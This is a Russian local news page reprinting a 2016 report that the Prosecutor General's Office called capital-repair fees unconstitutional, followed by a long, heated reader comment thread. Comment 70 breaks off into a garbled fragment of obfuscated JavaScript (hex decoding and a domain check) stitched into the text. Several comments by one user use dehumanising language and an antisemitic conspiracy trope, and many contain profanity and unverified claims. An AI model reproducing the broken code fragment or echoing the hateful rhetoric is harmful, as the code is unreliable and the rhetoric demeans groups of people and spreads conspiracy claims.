Последние комментарии:

14.12.2024 01:08 написал ponni
14.12.2024 00:46 написал ponni
12.12.2024 00:59 написал ponni
03.12.2024 12:57 написал ponni
30.11.2024 22:05 написал ponni
23.11.2024 14:11 написал ponni
20.11.2024 22:44 написал ponni
15.11.2024 23:54 написал ponni
09.11.2024 00:00 написал ponni
29.10.2024 18:48 написал ponni
27.10.2024 16:10 написал ТЕРРАН
27.10.2024 16:07 написал ТЕРРАН
27.10.2024 16:04 написал ТЕРРАН
24.10.2024 22:25 написал sprinter
18.10.2024 07:53 написал sprinter

Взносы на капремонт признаны Генпрокуратурой неконституционными


Взносы на капремонт признаны Генпрокуратурой неконституционными

Москва, 20 Февраля 2016, 10:18 — REGNUM Сборы за капитальный ремонт с собственников жилья на капитальный ремонт в других домах противоречат российской Конституции. С этой позицией, выдвинутой депутатами Государственной думы от партий «Справедливая Россия» и КПРФ, согласилось руководство Генпрокуратуры РФ, пишет газета «Ведомости».

По мнению депутатов, такие сборы средств обязывают собственников жилья оплачивать имущество, которые им не принадлежит. Руководство Генеральной прокуратуры пришло к выводу, что собственники, отчисляющие средства на капитальный ремонт, находятся в неравном положении. Неравно положение тех, кто отчисляет средства на счёт регионального оператора, и тех собственников, которые отчисляют средства на специальный счёте в банке.

Тот документ, который оспорили депутаты, не прописывает конкретные объёмы и сроки распределения перечисленных средств. Не определяется и порядок их возврата, «что может создать условия, при которых собственники помещений не смогут распоряжаться деньгами, перечисленными на счет оператора, а это ведет к нарушению Конституции».

Своё мнение высказала уполномоченный по правам человека Элла Памфилова. Она отметила, что операторы, которые перебрасывают средства, собранные в одном доме, чтобы оплатить ремонт в другом доме, используют финансы без разрешения собственников, которые их перечислили.

Подробности: http://regnum.ru/news/economy/2083564.html





Автор: Power

Категория: Блоги

Комментарии: (95) 

20 февраля 2016   16

Информация

Посетители, находящиеся в группе Гости, не могут оставлять комментарии в данной новости.
 

Комментарий № 1:

Написал: Toni
А деньги вернут?

Комментарий № 2:

Написал: Power
Toni,
обязательно. Как только, так сразу и вернут.

Комментарий № 3:

Написал: SergeyHasan
Генеральная прокуратура РФ, Министерство юстиции и Министерство строительства и ЖКХ направили в Конституционный суд страны свои отзывы на поступившую в конце прошлого года жалобу от депутатов Госдумы партий  КПРФ и "Справедливая Россия" относительно конституционности введенных летом 2015 года сборов на капитальный ремонт многоквартирных домов

Комментарий № 4:

Написал: SergeyHasan
в Генпрокуратуре считают, что введенная норма не оговаривает объемов и сроков использования финансовых поступлений на капремонт. Также не оговаривается порядок возврата денег, что в свою очередь создает условия для невозможности распоряжения своими деньгами собственниками. Это является нарушением Конституции Российской Федерации.

Комментарий № 5:

Написал: SergeyHasan
В Минстрое в свою очередь считают, что средства владельцев квартир после того, как их перечисляют оператору капремонта, перестают являться средствами собственников, из-за чего необходимость согласования с ними цель использования этих денег отпадает, пишет издание.

так что это еще вилами по воде писано, не известно чем это закончится

Комментарий № 6:

Написал: SergeyHasan
Конституционный суд рассмотрит обращение парламентариев 3 марта 2016 года. будем ждать решения.

Комментарий № 7:

Написал: Power
Еще Остап Бендер говорил: "Утром стулья, вечером - деньги". Классическая поговорка на все времена. Как можно оплачивать то, чего не сделано и будет ли сделано???
Деньги платятся за оказанную услугу. Уже оказанную.
В программе "ЖКХ" на 1 канале предлагали неплохую идею для обеспечения средств для капремонта. Это, конечно, как пример. Предложений может быть куча.
УК или ЖЭУ берут кредит в банке. На эти средства делается капремонт в конкретном доме. По окончании приёмки работ и по решению совета дома затраченные средства "раскидываются" всем собственникам. По факту.
Таким образом кредит гасится.
Т.е. люди видят конкретную работу и платят за эту работу.
Ну...это для примера так можно сделать.
Как сейчас?
Вы просто несёте свои денежки в "куда-то" и кому-то.
Что вы знаете о своих средствах? Кто и куда эти ваши средства потратил?
Кто перед вами за эти средства отчитывается?
Ничего вы не знаете.
И никогда не узнаете.
Одним словом ФОНД.
Благотворительный.

Комментарий № 8:

Написал: улитыч
А я платил! Вот я ЛОХ-то!

Комментарий № 9:

Написал: HaTaJlu
Хорошо, что мы не платим...))

Комментарий № 10:

Написал: Санёк Северский
СцУки-раньше не могли этой проблемой заниматься-теперь по судам таскаться(((

Комментарий № 11:

Написал: Мефодий
всё что нам сейчас стараются навязать это ЛОХОКОСТ - ничего личного.

Комментарий № 12:

Написал: СХКовец
И когда вернут награбленное? Хотя о чем я...... 

Комментарий № 13:

Написал: Hornet
А пи...дорасы из региональных операторов уже лексусы понакупили, а мерсы не успели купить - как им жить дальше? Неужели всё?

Комментарий № 14:

Написал: sergus
Пока не плачу, жжду, может или отменчт или так хоть порядок на ведут, за ремонт своего дома я б платил.....

Комментарий № 15:

Написал: Димбас
Генпрокуратура наконец то хоть в чем то на сторону граждан встала, советую всем писать и жаловаться в прокуратуру на все!

Комментарий № 16:

Написал: ТЕРРАН
ПОЛТОРА ГОДА  ПРОШЛО??????? !!!!!!!!!!ЕСЛИ БЫ ВСЕ ТАК РАБОТАЛИ ТО В СТРАНЕ НИ ЧЕРТА НЕ БЫЛО!  И КАК ТЕПЕРЬ =ДЕНЬГИ ВЕРНУТ?????????

Комментарий № 17:

Написал: Power
ТЕРРАН,
да никто ничего никому возвращать не будет.
Так и будут бодаться.
Одни - хотят денег на капремонт за счёт создания фонда, - народ на это ведётся, пожилые и старенькие люди особо ответственно воспринимают всякого рода "жировки", да ещё с "пенёй". Все продумано!
Другие, которые понимают, что взносы платить, может быть, и нужно, только не таким путём, как это хотят первые.

Первые же рассчитывают на то, что хотя бы то, что они собрали на сегодняшний день - это уже кое-что. Пирамидка неплохая.  Ну...раскрутят эти махинации, ну...отменят...эти взносы...Но денюшки-то тю-тю. Кого и где искать - дык сами же люди платили? Мало ли какие бумажки кому приходят в почтовый ящик? Сами шли своими ногами и платили.
Теперь этими же ножками в суд. Если силы и нервы есть. Прямое нарушение Конституции!
Будем подождать 3 марта.
И всё же нужно до победного разобраться с этим вопросом.

Комментарий № 18:

Написал: Johnykey
Да никто еще точку не поставил в этом вопросе. Просто идут разногнасия...
Никто ничего не отменил....
В новости по сути вырвали из контекста строчки.
Так что информацию принимаем, и следим за развитием событий. 

Комментарий № 19:

Написал: intelligent
Спокойствие, только спокойствие.

Впереди выборы в Госдуму 4 декабря, и вопрос капремонта - это беспроигрышная "карта", чистые политтехнологии. И разменивать эту "карту" будут все, кому не лень, весь 2016 год. Никто ничего отменять не будет, пошумят и успокоятся. Думающему человеку хватает того факта, что против капремонта сейчас выступают те же, кто принимал законы и изначально голосовал в Госдуме за этот самый капремонт.  fellow

Комментарий № 20:

Написал: Garry
Охренеть! Правительство предлагает, а гос.дума принимает закон, противоречущий конституции РФ. По моему это повод попросить уйти в  отставку и тех и других. Печалька, однако.

Комментарий № 21:

Написал: надоело
Тот, который без имени, ты где? 

Комментарий № 22:

Написал: Power
Johnykey,
да вот именно, что точку не ставили. Но выяснить всё до конца стоит.
Было бы всё законно - никто бы не поднимал эти вопросы.
Народ платить не против. Но платить грамотно и знать кому и куда.
Нынешняя система - как бы помягче сказать - одурачивание населения.

Комментарий № 23:

Написал: lusc
Вот а как мы столько лет жили без этой жировочки? На что дома то наши содержались?

я вот не платила, не платила, потом чё то разволновалась и погасила. Теперь будем опять не платить)))))  

Комментарий № 24:

Написал: kvk
Уважаемые. В Северский суд уже подана цельная куча исков Фонда о взыскании задолженностей с собственников Коммунистический 120. Фонд уже подал иски и на нежилые помещения (гоподдержка бизнеса в кризис БРАВО!!!) в арбитраж на сотни тыс руб. Как-то так. 

Комментарий № 25:

Написал: Енот
Ребят, етот паровоз уже не остановить =)
Потому что люди боятся и подкидывают в него топливо...
Если, конечно, как нибудь отклонят етот нелегальный самопридуманый обман жителей и перестанут приходить жировки... -деньги всеравно не получите обратно =)
для етого надо будет собрать тонну бумаг и вернуть свои 2-4 т.р. большинство просто махнут рукой!


--------------------
Единственное, что в жизни не меняется - это то, что все меняется.

Комментарий № 26:

Написал: Gold999
Димбас
И кули толку, написал в прокуратуру,что это незаконно и противоречит многим законом привел докуя законов и статей, они перенаправили главному по жкх томской области, ответ пришел что все законно  и вы обязаны платить я с такими довадами не согласился послал нах...уй их вместе с теми кто одобрил данное и неплачу. 

Комментарий № 27:

Написал: Пуля
Придумано совсем не плохо,
была и схема не плоха,
чтоб развести народ, как лоха
или точнее, как -- ЛОХА.

Комментарий № 28:

Написал: Power
Пуля,
Народ кричит, что денег нету
И, возмущаясь, как всегда
Несёт последнюю монету,
Не зная сам кому-куда..

Комментарий № 29:

Написал: Пуля
Power,

Комментарий № 30:

Написал: Пуля
Power,
класс !

Комментарий № 31:

Написал: f1gv83
и чо? все равно уже даже если отменят этот "взнос" - никто ничего возвращать не станет, на это куча причин, хотя бы отсутствию нормального договора с собственниками. это раз.
и, следовательно, кто-то классно озолотится - это два.
и так уже давно РФ - один большой лохотрон. начиналось все скромно - МММ, дом Селенга, пятое-десятое на добровольной основе. теперь- на принудительной. камремонты, платоны... скоро дышать будет нельзя.

Комментарий № 32:

Написал: f1gv83
всегда говорил в т.ч. своим - НЕ ПЛАТИТЬ!
нет, втихушку заплатили - и понеслось... автоматическое соглашение с офертой в одностороннем порядке....
и чо? да ничего... сколко тысяч просто так потеряли... а по всей россии - это миллиарды.... еще тех, когда бакс тридцатку стоил... а щас это в 2-3 раза больше, кто смотря как прокрутил...
вот и сирия, и х@ирия - вот для чего это все + нафига и скачки с валютой... чтоб больше, больше, больше бабла хз куда.

доллар по факту нихера не стоит! потому что обесценен по самое не могу...  и привязываться к нему - верх идиотизма на государственном уровне...
но только не в россии...

Комментарий № 33:

Написал: Roman
Цитата: f1gv83
доллар по факту нихера не стоит!
 

По факту за один доллар дают в 2 с хвостиком раза больше этих ваших рублей, чем полтора года назад:) 

Комментарий № 34:

Написал: f1gv83
Цитата: Roman
По факту за один доллар дают в 2 с хвостиком раза больше этих ваших рублей, чем полтора года назад:)

а это уже потому, что живем в самой замечательной стране, где взаимоотношение валют не поддается никакой логике, а уж связь с той же нефтью - вообще кабздец.

Комментарий № 35:

Написал: Spamer
Деньги вернут? Зачем платили? МММ-для баранов. Скажут за воздух платить и  вы заплатите. Хотя плата за капремонт тоже самое.

Комментарий № 36:

Написал: Контролёр ОТК
Power,
Спасибо за полезную и очень нужную информацию!

Комментарий № 37:

Написал: Power
Контролёр ОТК,
здесь всем есть над чем подумать.
Я отмечаю главную мысль: может быть, и настали времена, когда нам самим тоже нужно заботиться о будущем своих домов. Бюджет страны не резиновый, это надо понимать.
Но сама схема именно этих платежей весьма и весьма сомнительная.
Но люди устроены так, что, получив очередную жировку и не разобравшись до конца несутся оплачивать. Ещё и знакомых опрашивают: "А ты заплатил? А я плачу!"
Только ударение в последнем слове надо изменить.
ПлАчу!

Комментарий № 38:

Написал: PeterThePig
Доить россиян - любимое заняти правительства эрэфии.

Комментарий № 39:

Написал: NoName
Те кто пишу, что "вначале капремонт, а потом деньги" не вполне понимают, что капремонт обойдется в несколько миллионов рублей и после его провдения жители просто не смогут заплатить столько денег. Они смогут платить только в рассрочку на 10 лет. Теперь спрашивается где найдется такая частная компания, которая готова отремонтировать ваш частный дом за свои миллионы и возвращать их потом 10 лет?????

Если же это сделать в кредит, вернув всю сумму сразу подрядчику, а рассчитываться 10 лет уже с банком, то к стоимости капремонта добавится еще банковский процент, что увеличит затраты жильцов в 2 раза!!!!!, если не больше 

Соответственно, фонд - хорошая альтернатива, так как позволяет накапливать деньги и проводить ремонт.

Генпрокуратура, если почитать внимательно, признала, что ряд вопросов законом не урегулирован, а вовсе не то, что вся система незаконна. Я думаю Конституционный суд примет решение о необходимости в закон ввести статьи о порядке использования денег, порядке возврата и что-то подобное, но всю систему взносов, разумеется, не отменит. Потом депутаты эти изменения внесут.    

Комментарий № 40:

Написал: Roman
NoName,
Не позорился бы. Посмотрим сколько за 10 лет составила инфляция?

Комментарий № 41:

Написал: Землянин
Цитата: NoName
фонд - хорошая альтернатива, так как позволяет накапливать деньги и проводить ремонт.
 
Не дуркуй, NoName. По такой же схеме большевики коммунизм строили. Результат – очевиден. 

Комментарий № 42:

Написал: kvk
NoName как юрист Вы правы. Главная ошибка (умышленная) взносы собственников в Фонд становятся собственностью Фонда- и всё. Претензии собственников на "свои" средства - безпочвенны. Оплатив в Фонд свои средства - имейте в виду, что после этого - это средства Фонда. Т.е. денежки-тю тю? Очередная "прихватизация" средст собственников - граждан России. Интересно - отремонтированныое имущуство за счет "своих" средств = становится собственностью Фонда???

Комментарий № 43:

Написал: Power
Цитата: NoName
Те кто пишу, что "вначале капремонт, а потом деньги" не вполне понимают, что капремонт обойдется в несколько миллионов рублей и после его провдения жители просто не смогут заплатить столько денег


---
Те, кто это пишет и так думает вообще не знают, будут ли они завтра живы. Особенно те, у кого преклонный возраст. Доживут ли они вообще до капремонта своего дома?
А, ведь, никаких скидок и льгот по оплате в этот фонд у этой категории начеления нет.
А вы о каких-то 10 годах  говорите...
Тут не знаешь что завтра-то будет.

Комментарий № 44:

Написал: лавандос
NoName,
Знаешь что я я думаю на весь этот счет(?)  Хоть  и согласен с мыслью о ненужности удорожания за счет всяких процентов своего же ремонта, я таки воообще против каких бы то ни было ( и это чисто с психологической точки зрения) новых платежей на какой-то там ремонт. Ну , не понимает и не поймет( и это нормально) житель страны из которой миллионы тон  сырья ежеминутно  прокачивается и продается куда угодно,что он ,сука, ещё должен за какой-то капремонт,когда и без оного  денюжков  в семье не так,чтобы очень .  В крайнем случае может стоит это привязать  в другие "сборы".

Комментарий № 45:

Написал: NoName
Цитата: Roman
Не позорился бы. Посмотрим сколько за 10 лет составила инфляция?

Инфляция то тут при чем?
Во-первых, банк возьмет процент все равно больше инфляции.
Во-вторых, взносы ты платишь сегодня, ремонт будет, например, через 8 лет. Цены, конечно, вырастут, но тебя это никак не коснется - лифт и кровлю все равно поменяют по тем ценам какие будут на день ремонта, а заплатил ты взносы по старым тарифам фонда.
Ты сам чего то недопонял.

Цитата: Землянин
о такой же схеме большевики коммунизм строили.

?????
Цитата: kvk
взносы собственников в Фонд становятся собственностью Фонда- и всё. Претензии собственников на "свои" средства - безпочвенны.

вместо денег собственник получает право требовать проведения ремонтаю И его претензиии вполне себе почвенны.
Цитата: kvk
денежки-тю тю?

вообще то ремонты фонд уже год как делает и никакие деньги пока не тю-тю

Комментарий № 46:

Написал: kvk
NoName Вы правы по Булгакову - Каждыый имеет право! В случае сворачивания программы (примеровов море) кто, кому и когда вернет деньги? Пример - ПФР.

Комментарий № 47:

Написал: dotsfam
а какие виды работы входят в этот капремонт?

Комментарий № 48:

Написал: NoName
Цитата: лавандос
миллионы тон сырья ежеминутно прокачивается и продается куда угодно,что он ,сука, ещё должен за какой-то капремонт,когда и без оного денюжков в семье не так,чтобы очень

Насколько я знаю, во всех странах примерно также, а то и похуже. В США, например, затраты на содержание жилья (аренда или ипотека плюс коммуналка) до 50% от дохода семьи.

Комментарий № 49:

Написал: Power
Хорошо, NoName.
Такой вопрос: дайте всем людям, читающим этот пост, ссылку, где опубликован ГРАФИК КАПРЕМОНТА ДОМОВ. Пусть посмотрим.
Если только это опять не очередной мыльный пузырь.
А то у нас планирование оно такое....планирование. Ванька есть, Маньки нет. Манька появилась, Ванька пропал. Манька есть, Ванька есть, - обед!
Народ ничему не верит, понимаете?
Как бы там ни было, ну не должен человек оплачивать неоказанную услугу!

Комментарий № 50:

Написал: PaLa44
многие те кто платили льготники их ОБЯЗЫВАЛИ платить ,если не платили то никакие льготы не получали не инвалиды не пенсионеры !

Комментарий № 51:

Написал: Power
"Какой дурачок будет платить за кап ремонт? В программе наш дом стоит в 2042 году - крыша. Половина жильцов пенсионеры. К моменту кап. ремонта мне будет около 60. Представляете, если положить денежки в банк с процентами на 30 лет?"
(из форума по капремонту)
---
Медведев считает ЖКХ тяжелой для правительства сферой
Премьер РФ Дмитрий Медведев назвал ЖКХ и ликвидацию ветхого жилья в числе наиболее тяжелых и проблемных сфер для действующего правительства.
«Есть вопросы, темпами решения которых я точно не доволен. Есть, например, очень больные темы типа ветхого жилья и ситуации в ЖКХ. Мы все понимаем, что эта сфера меняется очень медленно. Причины понятны — огромное количество накопившихся проблем», — цитирует «Интерфакс» слова премьера.

При этом глава правительства призвал не забывать, что «все говорят про нефть и газ, а крупнее «коммуналки» ничего нет».

«Но она (сфера ЖКХ — ИФ) вся была в долгах как в шелках. Плюс новые методы управления, которые внедрялись в 90-е и 2000-е годы, пока не очень хорошо работают. Одни управляющие компании чего стоят», — заметил Медведев.

Иными словам, констатировал премьер, в этом направлении особых успехов пока нет, это одна из самых проблемных сфер.
---
Есть над чем подумать, не так ли?

Комментарий № 52:

Написал: Roman
Цитата: NoName
Инфляция то тут при чем? Во-первых, банк возьмет процент все равно больше инфляции. Во-вторых, взносы ты платишь сегодня, ремонт будет, например, через 8 лет. Цены, конечно, вырастут, но тебя это никак не коснется - лифт и кровлю все равно поменяют по тем ценам какие будут на день ремонта, а заплатил ты взносы по старым тарифам фонда.

А кто покроет разницу, мил человек? Совершенно очевидно, что наступит момет, когда взносы в фонд перестанут покрывать текущие расходы на капремонты. В фонде наступит дефицит средств и всё - никаких ремонтов. Как в МММ - первые получают навар, последние - теряют свои деньги.

Комментарий № 53:

Написал: лавандос
NoName,
 Ога, только если после  уплаты 50%, у нашего человека оставалось хотя бы штук 35-40( я применимо к нашим широтам), он бы тоже платил не особо переживая за эти 500 руб.  Та средняя з\п, которую озвучивают официально( там однако около тридцатки,да?) -это же профанация.  Средняя у нас около 16-17, как мне представляется. Это именно та цифра, по которой живет бОльшая часть местного населения. Не особо как -то разгуляешься. да и как можно сравнивать наши страны, когда Россия сегодня возглавляет список самых бедных стран мира со своим 61 -м ( или каким там сегодня?)местом по уровню жизни населения

Комментарий № 54:

Написал: лавандос
Глянул тут , а оказалось, что по доходам  на душу уже и не 61, а 97-ое.  Но за капремонт один хрен с  этих самых доходов плати!!

Комментарий № 55:

Написал: коля-ваня

лавандос,
Так господин  NoName, по – прежнему в графах об имуществе ставит жирные прочерки. В отличие, скажем от собственной супруги. У той, как раз, и с жильём, и с автомобилем всё в порядке. И лишь отмеченный им доход в 2,07 млн 


                            Еще есть вопросы? 
       


--------------------
.

Комментарий № 56:

Написал: Пуля
Меня тошнит от агитаторов
и разновидных крикунов,
поэтому на провокаторов
делю их я , и  п.здунов.

Комментарий № 57:

Написал: NoName
Цитата: Roman
А кто покроет разницу, мил человек? Совершенно очевидно, что наступит момет, когда взносы в фонд перестанут покрывать текущие расходы на капремонты. В фонде наступит дефицит средств и всё - никаких ремонтов. Как в МММ - первые получают навар, последние - теряют свои деньги.

Ну, тяжело с тобой!
МММ пирамида потому, что в конце концов собирает меньше чем должна выдать.
Фонд - совершенно другая ситуация. Там посчитано сколько надо домов в год отремонтировать и от этого определяется размер взноса. Собирается столько сколько надо. Растут цены, растет и взнос - как и любое ЖКХ. Ты решил сравнить с МММ на голом месте, не зная сути.

Впрочем никто тебя не заставляет платить в Фонд - собирайте своим домом сами на капремонт. Не собирете - не будет ремонта. Всего то делов.

Комментарий № 58:

Написал: intelligent
Капля мёда в бочке с дегтем: по моей информации, на одном из весенних собраний Законодательной думы Томской области будут приняты льготы на оплату капремонта для определенных категорий граждан.

Планируется, что компенсация будет предоставляться одниноко проживающим неработающим собственникам, достигшим 70 лет - льгота 50%, 80 лет - льгота 100%. Также будет рассмотрена возможность компенсации наоплату капремонта инвалидам I и II групп, детям-инвалидам, гражданам, имеющим детей-инвалидов.

Внимание! Уже сейчас появились те, кто бессовестно присваивает себе лавры данной инициативы. В частности, некий депутат Осипцов, сотрудничащий с одной из северских газет, публично заявил об этом. Спешу прояснить, что данный человек не имеет к льготам никакого отношения. Инициатива по льготам на капремонт введена по инициативе фракции партии "Справедливая Россия" в Госдуме, в результате чего президент подписал соответствующий ФЗ №399 от 29 декабря 2015г.

Комментарий № 59:

Написал: Power
Теперь смотрите сюда.
Любой договор, чтобы он был действителен между двумя сторонами, любые правоотношения должны позволять обоим сторонам (в нашем случае это мы  и фонд кап.строительства) очень чётко понимать ЧТО каждая из сторон вносит в эти отношения и что она в результате рассчитывает получить.
Это так называемая "свободная воля" обоих сторон.
В нашем случае, вступая в правоотношения с фондом (а те, кто сделал хоть один взнос по жировке уже автоматически согласился с условиями фонда) мы НЕ ПОНИМАЕМ двух принципиально важных условий (отдавая свои денежки):
1. Соглашение о цене, а оно обязательно для того, чтобы мы понимали ЗА КАКИЕ КОНКРЕТНО ДЕНЬГИ будет отремонтирован именно ваш дом.
Не вообще весь жилой фонд г. Северска и окрестностей, а конкретно ВАШ дом, потому что ваша обязанность собственника (если уж на то пошло) касается только вашей обязанности содержать принадлежащий именно вам объект недвижимости.
2. Это соглашение ПО СРОКАМ. В какой конкретно период времени работы по капремонту будут исполнены.

Ни первого, ни второго условия существующая региональная программа не определяет.
Так вот.
Те, кто хотел бы вступить в договорные отношения с фондом - вы можете подавать иск в суд (можно и лучше коллективный от своего дома) , где вы чётко должы потребовать определения сметной стоимости ремонта именно вашего дома и конкретные сроки проведения этих работ.
А так ...вы несёте свои денежки на поле чудес.

Комментарий № 60:

Написал: лавандос
коля-ваня,
Ну а куле за капиталку не заплатить  при  этом (?)  Причем за всех соседей сразу. И чтобы капиталили каждый год. По графику))

Комментарий № 61:

Написал: NoName
Цитата: Power
где вы чётко должы потребовать определения сметной стоимости ремонта именно вашего дома и конкретные сроки проведения этих работ.

ну сроки то определены в региональной программе - там и дома указаны и сроки их ремонта. А сметную стоиомсть как можно сейчас посчитать, если капремонт, например, запланирован через 7 лет. Тогда и цены другие будут и состояние дома тогда нужно будет смотреть - что именно ремонтировать.

Комментарий № 62:

Написал: Roman
NoName,
Моему дому ремонт нужен прям сейчас, а не через 30 лет. И мы с соседями второй год приплачиваем за этот ремонт напрямую. Конкретно - меняем систему отопления. Обходится как раз примерно в те же деньги, что и взносы в фонд. Нафига мне ждать 30 лет, если мы делаем это прямо сейчас?
- Это раз.

В прошлом году было 6,15р за кв.м., в этом тоже 6,15р - не вижу что-то индексации.
- Это два. 

Комментарий № 63:

Написал: Power
Генпрокуратура признала взносы на капремонт незаконными

https://www.youtube.com/watch?v=gA4DJpm84gQ

Посмотрите и делайте выводы.

Комментарий № 64:

Написал: Землянин
Цитата: Power
Любой договор, чтобы он был действителен между двумя сторонами, любые правоотношения должны позволять обоим сторонам (в нашем случае это мы  и фонд кап.строительства) очень чётко понимать ЧТО каждая из сторон вносит в эти отношения и что она в результате рассчитывает получить.
 
 Power, человек в здравом уме и твёрдой памяти не будет заключать договор с жуликами и ворами, с убийцами русского народа, с выродками, мутантами, тварями, готовыми в любой момент в одностороннем порядке отказаться от взятых на себя обязательств по договору, для которых «лучшего из гоев - убей». 

Комментарий № 65:

Написал: Землянин
Цитата: Power
Генпрокуратура признала взносы на капремонт незаконными https://www.youtube.com/watch?v=gA4DJpm84gQ
 
Power, на видео – Генпрокуратура признала плату за капремонт не соответствующей нормам Конституции. А, значит, организаторы и исполнители этой жульки более года занимались антиконституционной деятельностью, то есть совершили преступление против  Конституционного строя.   

Комментарий № 66:

Написал: Power
Землянин,
Так о чём и речь.
Народ бы вместо того, чтобы бежать оплачивать эти незаконные жировки призадумался бы: кому и куда платят?

Комментарий № 67:

Написал: Землянин
Цитата: Power
Так о чём и речь.
 
Power, проблема в том, что государственные образовательные программы, СМИ – постоянно действующая система зомбирования землян. Не все земляне способны принять решение на основе здравомыслия. Принимают решения по принципу «как все». Такие и бегут оплачивать незаконные жировки, в партии, на выборы. Очевидно, депутаты народу не нужны. «Непосредственная Власть Народа» - https://www.youtube.com/watch?v=RxxSI1KnQp8 

Комментарий № 68:

Написал: Trololo_70lvl
Цитата: Землянин
Цитата: Power Генпрокуратура признала взносы на капремонт незаконными https://www.youtube.com/watch?v=gA4DJpm84gQ  Power, на видео – Генпрокуратура признала плату за капремонт не соответствующей нормам Конституции. А, значит, организаторы и исполнители этой жульки более года занимались антиконституционной деятельностью, то есть совершили преступление против  Конституционного строя.   
 Можно выдохнуть. Чайки , они такие чайки
     
Генеральная прокуратура России отозвала из Конституционного суда свое письмо о плате за капремонт

Ранее ведомство сообщало, что считает эту плату неконституционной. Как пишет «Фонтанка», зам.генпрокурора Александр Буксман отказывается от своего мнения с учетом необходимости дополнительной проработки вопроса. Расширенную позицию Генпрокуратура планирует позже изложить в Конституционном суде. 
Письмо, где утверждалось, что плата за капремонт может нарушать права граждан, надзорное ведомство отправило еще в середине декабря.

Комментарий № 69:

Написал: Trololo_70lvl
Так что у нас опять всё госкидалово считается конституционным. Платите , и не п.здите.

Комментарий № 70:

Написал: Kapitalin-nike
Цитата: Trololo_70lvl
зам.генпрокурора Александр Буксман отказывается от своего мнения
Путинская братва пригрозила ему тем, что засунут конституцию с комментариями ему в ...опу! Вот он и отказался. am  // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "vseverske.info"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Комментарий № 71:

Написал: Power
"Покуда есть на свете дураки, обманом жить нам, стало быть, с руки"
-
Платите, платите.

Комментарий № 72:

Написал: Землянин
Цитата: Trololo_70lvl
зам.генпрокурора Александр Буксман отказывается от своего мнения
 
Очевидно, что руководителю  жульки «Фонд капитального ремонта» отказаться от обязательств перед  добровольными пожертвователями  даже не требуется. Юридически Фонд никакой ответственности по своим  обязательствам нести не может. 

Комментарий № 73:

Написал: Землянин
Цитата: Power
"Покуда есть на свете дураки, обманом жить нам, стало быть, с руки"
 
«Катасонов-- Куликова.Дурак самый ценный ресурс нашей экономики» - https://www.youtube.com/watch?v=vjS98RMv8C8 

Комментарий № 74:

Написал: Землянин
Цитата: kvk
Интересно - отремонтированныое имущуство за счет "своих" средств = становится собственностью Фонда???
Цитата: kvk
Интересно - отремонтированныое имущуство за счет "своих" средств = становится собственностью Фонда???
 
Юридически, после выполнения работ по капитальному ремонту, собственником отремонтированного имущества становится Фонд. А жильцы дома – как были собственниками квадратных метров в соответствии со Свидетельством о государственной регистрации права, так и останутся. 

Комментарий № 75:

Написал: Power
"А жильцы дома – как были собственниками квадратных метров в соответствии со Свидетельством о государственной регистрации права, так и останутся."

Вот это очень правильно подмечено.

При этом ежегодно каждый собственник платит налог на имущество (собственность), если, конечно, не пользуется льготой...

Какие ещё платы? В какие фонды, товарищи, подумайте же вы своей головой-то?

Комментарий № 76:

Написал: Roman
Цитата: Землянин
Юридически, после выполнения работ по капитальному ремонту, собственником отремонтированного имущества становится Фонд.
 

Это с каких-таких делов? Впрочем, не дергайтесь, ремонта все равно не будет:) 

Комментарий № 77:

Написал: NoName
Цитата: Землянин
Юридически Фонд никакой ответственности по своим обязательствам нести не может.

Юридически фонд несет обязанность делать капремонт в соответствии с программой. Это следует из Жилищного кодекса, программы и положения о онде. Делает и будет делать ремонты.

Цитата: Землянин
Юридически, после выполнения работ по капитальному ремонту,
собственником отремонтированного имущества становится Фонд.

Ну, это уж перебор. Ремонтник ни при каких обстоятельствах не может стать собственником того, что ремонтирует.

Комментарий № 78:

Написал: Roman
Цитата: NoName
Юридически фонд несет обязанность
 
Но не несет ответственности. Обязанность без ответственности - пшик. 

Комментарий № 79:

Написал: Землянин
Цитата: NoName
Юридически фонд несет обязанность делать капремонт в соответствии с программой.
 

Опять дуркуешь, NoName. Я об юридической ответственности Фонда, а ты – об обязанности в соответствии с программой. У программы отсутствует юридический статус, а, значит, юридическим документом программа не является.  

Фонд по своей структуре и положением законодательства о фондах не может сам производить операции по осуществлению задачи капремонта. Капремонт относится к области капитального строительства, а там существует понятие технического заказчика и осуществляется при обязательном наличии договора с собственником.

 

Договор – документ, регламентирующий взаимоотношения сторон. Для капитального ремонта, это договор подряда, где существенным условием является не просто отремонтировать за какие-то деньги дом, а выполнить работы по капитальному ремонту, начиная и заканчивая в конкретные даты, в соответствии со Сметой, являющейся неотъемлемой частью договора. Такие договора у Фонда отсутствуют. То есть, Фонд – тварная структура, от нелюди. 

Комментарий № 80:

Написал: Землянин
Цитата: NoName
Ремонтник ни при каких обстоятельствах не может стать собственником того, что ремонтирует.
 
Ремонтники собственниками не станут. А Фонд – станет. Для этого вся эта жулька и задумывалась нелюдью. Отъём жилых помещений необходим для тварей, произведённых в соответствии с проектом «Россия-2045». «Создавая нового человека, создавать и новое общество для него. .. И соответствующую техносферу… Сначала они будут только массой электората. Потом из них выдвинутся политики, чиновники и главы корпораций...» ( «Максим Калашников: эволюция или вырождение», 04 октября 2011 года - http://2045.ru/articles/29077.html ). 

Комментарий № 81:

Написал: NoName
Цитата: Землянин
Опять дуркуешь, NoName.

Даже не пойму, есть ли смысл продолжать разговор. Сам дуркуешь не по детски, но при этом других дураками называешь. Это абзац.
Цитата: Землянин
Я об юридической ответственности

И я о том же. Фонд несет юридическую ответственность такую же как и любое иное лицо, которое приняло на себя обязанность выполнить какие-либо работы. Их можно понудить через суд выполнить работы (в соответствии с программой), можно взыскать неустойку за нарушение сроков и т.д.
Цитата: Землянин
У программы отсутствует юридический статус, а, значит, юридическим документом программа не является.

Неикому больше об этом не говори.
Программа утверждена нормативным правоым актом и по этой причине является обязательным для исполнения документом, имеющим "юридический статус".
Цитата: Землянин
Ремонтники собственниками не станут. А Фонд – станет. Для этого вся эта жулька и задумывалась нелюдью. Отъём жилых помещений

Ну, это уже, как говорят, сидите я сам открою. Никакой фонд ни при каких обстоятельствах право на отремонтированное общее имущество собственников не получит.  

Комментарий № 82:

Написал: Землянин
Цитата: NoName
Фонд несет юридическую ответственность
 
